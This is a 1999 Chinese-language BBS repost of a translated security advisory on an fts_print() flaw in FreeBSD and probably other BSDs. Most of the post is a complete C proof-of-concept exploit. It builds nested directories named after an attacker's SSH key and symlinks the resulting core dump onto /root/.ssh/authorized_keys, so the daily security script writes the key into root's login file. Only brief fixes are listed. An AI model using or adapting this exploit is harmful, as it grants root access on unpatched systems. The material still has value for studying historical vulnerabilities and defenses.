荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: zzt (我命由我不由天), 信区: Linux
标  题: 函数"fts_print()"漏洞允许在一些BSD系统上改写文件
发信站: BBS 荔园晨风站 (Sat Sep  4 17:35:28 1999), 转信

函数"fts_print()"漏洞允许在一些BSD系统上改写文件(29/8/99
作者:(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
编译测试及中文翻译:小鱼儿(littlefish@soim.net)
   www.isbase.com


漏洞概要:

这漏洞将导致BSD系统产生Core Dump,从而别用来改写一些已经存在的文件。


详细资料:

根据以下代码可以测试这漏洞:

/*

(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>

当运行着/etc/security 脚本时(从'daily' 执行),函数 "fts_print" 允许改写

一些已经存在的文件。

受影响的系统:
- freebsd (all versions)
- probably openbsd/netbsd

修复方法:
- 限定根用户的 coredump 大小
- 给 libc 打补丁

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;

if (chdir(dir))
return -1;

if (symlink(linkfrom, linkto) < 0)
return -1;

return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];

sprintf(pid, "%d", getpid());

if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}

if (chdir(pid))
{
perror("chdir()");
return -1;
}

bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);

for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}

if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}

return 0;
}



本文由isbase成员编译或原创,如要转载请保持文章的完整性
欢迎访问我们的站点http://www.isbase.com
绿色兵团给你安全的保证

--



日出东方,唯我不败;
    天上地下,唯我独尊。

※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 210.39.3.68]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店